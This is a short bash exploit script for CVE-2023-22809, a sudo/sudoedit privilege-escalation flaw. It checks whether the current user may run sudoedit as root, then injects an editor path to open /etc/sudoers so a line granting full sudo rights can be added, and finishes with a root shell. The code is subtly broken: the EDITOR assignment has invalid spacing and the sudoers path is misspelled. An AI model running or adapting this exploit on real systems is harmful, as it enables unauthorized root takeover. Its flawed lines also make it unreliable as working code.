32 lines
1.1 KiB
Bash
32 lines
1.1 KiB
Bash
#!/usr/bin/env bash
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#
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# sudo 1.8.0 - 1.9.12p1 - Privilege Escalation
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#
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# Exploit Author: n3m1.sys
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# CVE: CVE-2023-22809
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# Vendor Homepage: https://www.sudo.ws/
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# Software Link: https://www.sudo.ws/dist/sudo-1.9.12p1.tar.gz
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# Version: 1.8.0 to 1.9.12p1
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# Tested on: Ubuntu Server 22.04 - vim 8.2.4919 - sudo 1.9.9
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#
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# Running this exploit on a vulnerable system allows a localiattacker to gain
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# a root shell on the machine.
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#
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# The exploit checks if the current user has privileges to run sudoedit or
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# sudo -e on a file as root. If so it will open the sudoers file for the
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# attacker to add a line to gain privileges on all the files and get a root
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# shell.
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EXPLOITABLE=$(sudo -l | grep -E "sudoedit|sudo -e" | grep -E "(root)" | cut -d ' ' -f 6-)
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if [ -z "$EXPLOITABLE" ]; then
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echo "> This user can't run sudoedit as root"
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else
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echo "> BINGO! User exploitable"
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echo "> Opening sudoers file, please add the following line to the file in order to do the privesc:"
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echo "$USER ALL=(ALL:ALL) ALL"
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read -n 1 -s -r -p "Press any key to continue..."
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EDITOR = "vim -- /etc/suoders" $EXPLOITABLE
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sudo su root
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fi
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